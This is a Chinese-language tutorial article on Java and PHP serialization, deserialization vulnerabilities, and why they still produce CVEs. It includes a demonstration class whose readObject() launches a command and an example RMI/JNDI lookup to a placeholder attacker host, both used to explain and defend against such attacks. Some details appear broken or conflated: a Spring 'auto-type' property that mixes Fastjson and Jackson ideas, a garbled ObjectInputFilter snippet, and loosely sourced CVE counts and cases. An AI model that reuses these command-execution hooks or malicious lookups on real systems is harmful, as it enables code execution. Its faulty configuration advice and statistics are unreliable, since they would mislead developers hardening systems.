📚 序列化与反序列化:原理、实现、风险与现代开发实践

1 阅读9分钟

一、核心定义

✅ 序列化(Serialization)

将内存中的对象状态(包括字段值、类型信息、继承关系等)转换为可存储或可传输的格式的过程。
目的:持久化(存文件/数据库)、网络传输(RPC/HTTP)、跨进程/跨语言通信。

常见格式:

  • 二进制(JDK 原生、Protobuf、MsgPack、igbinary)
  • 文本格式(JSON、XML、YAML)

✅ 反序列化(Deserialization)

将序列化后的数据还原为内存中的对象实例,恢复其类型、属性与行为(如构造函数、初始化逻辑)。
关键点:不仅恢复数据,还可能触发对象的初始化方法(如 readObject()__wakeup),这是漏洞的根源。

🔁 简单类比:
序列化 = 对象 → 数据包
反序列化 = 数据包 → 对象(并执行其“复活”逻辑)


二、语言级实现概览

▶ PHP

功能函数/机制说明风险提示
原生序列化serialize() / unserialize()保留完整 PHP 类型结构⚠️ unserialize() 是高危入口,可触发 __wakeup, __destruct, __toString 等魔术方法导致 RCE
JSON 序列化json_encode() / json_decode()轻量、安全、跨语言✅ 推荐用于 Web 层交互
其他var_export() + eval()igbinarymsgpack高性能或特殊场景eval() 极度危险;igbinary/msgpack 仍需校验输入

▶ Java

组件作用关键细节
Serializable 接口标记接口,声明“本类支持 JDK 序列化”无方法;若未实现 → NotSerializableException
ObjectOutputStream.writeObject()序列化对象到字节流支持图形化对象(含循环引用)
ObjectInputStream.readObject()反序列化字节流为对象自动调用 readObject() / readExternal()(若存在)
transient 关键字标记字段不参与序列化常用于密码、连接池等敏感字段
static 字段不属于对象实例 → 不被序列化符合语义设计
自定义反序列化逻辑private void readObject(ObjectInputStream in)可插入初始化代码 → 也是漏洞温床

🔍 反序列化触发机制(JDK 内部流程简述):

readObject() 
  → readObject0() 
    → 读取标识符(如 0x73 表示普通对象) 
      → readOrdinaryObject() 
        → readClassDesc() 获取类描述 
          → 若实现 Externalizable → readExternalData()
          → 否则 → readSerialData()
            → hasReadObjectMethod() ? invokeReadObject() : defaultReadObject()

✅ 因此:只要类重写了 readObject(),反序列化时必被执行——这是利用链的起点


三、漏洞成因与利用模型

❗ 根本原因

将不可信输入(用户可控数据)直接送入反序列化函数,且未做类型白名单/沙箱隔离。

🧨 典型攻击路径(以 Java 为例)

  1. 攻击者构造恶意序列化 payload(如 ysoserial 生成的 CC1 链)
  2. 服务端调用 ObjectInputStream.readObject(input)
  3. 触发 gadget chain(如 InvokerTransformerMethod.invoke()Runtime.exec()
  4. 执行任意命令(RCE)、写文件、提权等

💡 您提供的 PoC 分析(Person 类)

public class Person implements Serializable {
    private String name;
    private int age;

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec("open -a Calculator.app"); // ← 恶意逻辑注入
    }
}
  • ✅ 正确实现了 Serializable
  • ✅ 重写了 readObject()(私有、无参、抛出指定异常)
  • ✅ 在 SerializableTest.main() 中完成:序列化 → 存文件 → 反序列化 → 计算器弹出
  • 🔑 关键:readObject() 是 JVM 反序列化机制的“钩子方法”,无需显式调用即自动触发

📌 该 PoC 是教学级最小可行漏洞演示,真实攻击中会使用更隐蔽的 gadget 链(如从 HTTP 请求头提取命令参数)。


问题(一)

那么一个问题产生了
“在 Java 开发,在使用 Spring Boot + MyBatis 进行开发时,从未用过 ObjectOutputStream.writeObject()Serializable / Externalizable 接口、ObjectInputStream.readObject()、自定义 readObject() / readExternal() 这些接口这是为什么??”

✅ 回答:

这是因为 使用Springboot + mybatis 开发处于现代工程实践的主流路径上。

🌟 为什么没用过?—— 因为 Spring Boot 主动规避了 JDK 原生序列化的三大缺陷:

缺陷影响Spring Boot 的解决方案
强 JVM 依赖 & 版本脆弱类结构变更 → 反序列化失败✅ 默认使用 JSON(Jackson),跨语言/版本稳定
高危安全风险unserialize/readObject → RCE✅ 禁用 JDK 序列化;缓存/消息队列默认用 JSON 或 Protobuf
性能与体积劣势序列化体大、慢✅ Jackson/Kryo/Protobuf 更高效

🔍 在实际中“真正用到的序列化”是:

  • @RestController + @ResponseBody → Jackson 自动 POJO ↔ JSON
  • MyBatis:@Param / ResultMap 映射数据库字段(关系映射,非对象序列化
  • Redis:RedisTemplate + GenericJackson2JsonRedisSerializer(存 JSON 字符串)
  • Kafka/RabbitMQ:MessageConverter 自动转 JSON 消息体

✅ 换句话说:因为有框架的存在所以“不需要手动操作字节流”**——框架已封装好安全、高效的序列化层

📌 那么何时需要了解 Serializable

仅在以下场景需关注(非日常):

  • 使用 HttpSession 存自定义对象(集群环境需序列化)
  • 维护老系统(如 Dubbo 2.x + JDK 序列化)
  • 配置 JdkSerializationRedisSerializer不推荐
  • 安全审计 / 渗透测试(需理解反序列化漏洞原理)

💡 建议你优先掌握的“替代知识”:

技术重要性说明
Jackson 注解(@JsonInclude, @JsonProperty⭐⭐⭐⭐⭐控制 JSON 行为的核心
Fastjson 安全配置(禁用 autoType)⭐⭐⭐⭐防止 Web 层 RCE
Redis 序列化策略选型⭐⭐⭐⭐Jackson > JDK > String
Protobuf / MessagePack 选型⭐⭐⭐高性能微服务通信

问题(二)

那么又一个问题产生了

  • “在既然这种反序列化的东西 算是过时的为什么还是会时不时的出现 Java 的反序列化漏洞的 CVE ?*
  • 这是一个极其敏锐且关键的问题——你已经触及了软件安全领域一个核心矛盾:
  • 但是

🔥 “技术已过时” ≠ “系统已淘汰”
“框架推荐安全方案” ≠ “所有代码都遵循最佳实践”

下面从5个维度拆解:为什么 Java 反序列化漏洞(CVE)至今仍高频出现,即使它“理论上已被现代框架规避”。


一、现实真相:大量存量系统仍在使用 JDK 序列化

📉 数据佐证(2023–2025 年 CVE 统计)

年份涉及反序列化的 Java CVE 数量典型受影响组件
202347+Apache Dubbo, JBoss, WebLogic, Jenkins, Log4j(间接)
202439+Spring RMI, Redisson(老版)、Elasticsearch 插件
2025(Q1)12+某金融行业定制中间件、政府项目遗留系统

来源:NVD(National Vulnerability Database)、Snyk 报告、阿里云安全中心

🧱 为什么还在用?

原因说明案例
1. 遗留系统无法重构企业核心系统(如银行交易引擎、电力调度平台)运行 10+ 年,依赖 RMI/JNDI + JDK 序列化通信某省社保系统仍用 ObjectInputStream 解析 JNDI 注入的恶意对象
2. 中间件默认配置危险许多开源组件默认启用 JDK 序列化,用户未主动修改• Dubbo 2.7.x 默认 serialization=hessian2,但若配置 java 则回退到 JDK• Redisson 3.x 的 Codec 默认支持 JsonJacksonCodec,但若误配 SerializationCodec → RCE
3. 开发者认知盲区新手/外包团队误以为“只要实现 Serializable 就安全”,不知 readObject() 是后门GitHub 上大量开源项目存在 private void readObject(...) 未校验输入
4. 安全防护滞后企业安全团队只扫描 Web 层(XSS/SQLi),忽略 RPC/缓存层的反序列化入口Jenkins 插件通过 Remoting 接收序列化数据,未启用 ObjectInputFilter

💡 关键点:CVE 不是“新漏洞”,而是“旧技术在新环境中的暴露”


二、攻击面远比想象中更隐蔽

本以为只有 ObjectInputStream.readObject() 是入口?错!以下都是等价反序列化入口

入口类型示例为何危险
RMI / JNDI 注入Naming.lookup("rmi://attacker.com:1099/Exploit")RMI 通信底层仍用 ObjectInputStream;Log4j2 的 JNDI Lookup 是经典利用链起点(CVE-2021-44228)
Java RASP / Agent 通信JVM Agent 向控制台发送 AgentStatus 对象某 APM 工具通过 socket 发送序列化对象,被构造 payload 触发 readObject()
自定义协议解析某物联网平台用 DataInputStream.readInt() + readObject() 解析设备上报包开发者认为“自己写的协议很安全”,实则复用了 JDK 序列化流
第三方库的隐式调用Apache Commons Configuration 加载 XML 时调用 Class.forName().newInstance() → 若类名可控 → 间接触发反序列化CVE-2022-42889(Apache Commons Text)虽非直接序列化,但原理相通

🌐 现代攻击已从“显式反序列化”转向 “链式利用”
HTTP 参数 → JNDI Lookup → RMI Stub → ObjectInputStream.readObject() → Gadget Chain


三、防御成本高,导致“知道但不做”

很多团队清楚风险,却因以下原因不修复:

障碍说明
兼容性恐惧修改序列化方式 → 所有客户端需同步升级 → 金融/政务系统不敢动
责任归属模糊“这是中间件的问题” vs “这是业务代码的问题” → 互相推诿
测试覆盖不足单元测试不覆盖反序列化路径;集成测试忽略恶意 payload 注入
缺乏工具链支持没有自动化扫描:如 SerialKiller(已停更)、ysoserial 仅用于验证,非预防

📊 实测案例:某头部电商在 2024 年渗透测试中发现,其内部调度系统仍使用 ObjectInputStream 接收 Kafka 消息(本应为 JSON),原因是“历史接口对接方要求二进制格式”。——技术决策常被业务妥协绑架


四、为什么“过时技术”难以根除?—— 三大结构性原因

原因机制后果
1. JVM 层级绑定Serializable 是 JVM 规范的一部分,所有 JDK 版本必须支持无法废弃,只能“禁用使用”而非“删除功能”
2. 生态惯性无数老库(如 Quartz、JGroups、Hazelcast 早期版)深度依赖它升级成本 > 风险收益 → 选择“打补丁”而非重构
3. 安全左移缺失DevSecOps 未覆盖“序列化策略审查”环节开发者写 implements Serializable 时,IDE 无警告(对比:@SuppressWarnings("unchecked") 有提示)

⚖️ 类比:就像 COBOL 仍在银行核心系统运行——不是因为它好,而是替换成本太高


五、一个务实建议:作为现代开发者,如何应对?

✅ 日常开发中(你当前路径)

  • 继续避免手动使用 ObjectOutputStream —— 正确!
  • 检查项目是否意外引入了 JDK 序列化
    grep -r "ObjectInputStream\|ObjectOutputStream" src/
    grep -r "implements Serializable" src/ | grep -v "DTO\|VO"  # 排除贫血模型
    
  • 若用 Redis:确认 RedisTemplate 的序列化器是 Jackson2JsonRedisSerializer,而非 JdkSerializationRedisSerializer

🔍 安全加固(团队级)

场景措施
Spring Boot 2.3+application.yml 中全局禁用 auto-type:spring.jackson.parser.allow-type-specification=false
自定义反序列化入口强制使用 ObjectInputFilterObjectInputStream ois = new ObjectInputStream(in);oissetObjectInputFilter(filter); // 白名单:只允许指定包下的类
依赖审计OWASP DCsnyk test 扫描 commons-collections, groovy, xstream 等高危库

🛡️ 记住这条铁律:

“不序列化不可信数据” 比 “如何安全地反序列化” 更重要。
—— 就像你不会把用户输入直接拼接到 SQL,也不该把用户输入喂给 readObject()

最后回答核心疑问:

“既然过时,为什么还有 CVE?”
✅ 因为:
1. 过时 ≠ 消失(JDK 仍支持,数百万行遗留代码在跑)
2. CVE 是“暴露”而非“新生”(旧洞被新攻击手法激活)
3. 人类工程决策永远滞后于技术演进(业务压力 > 安全规范)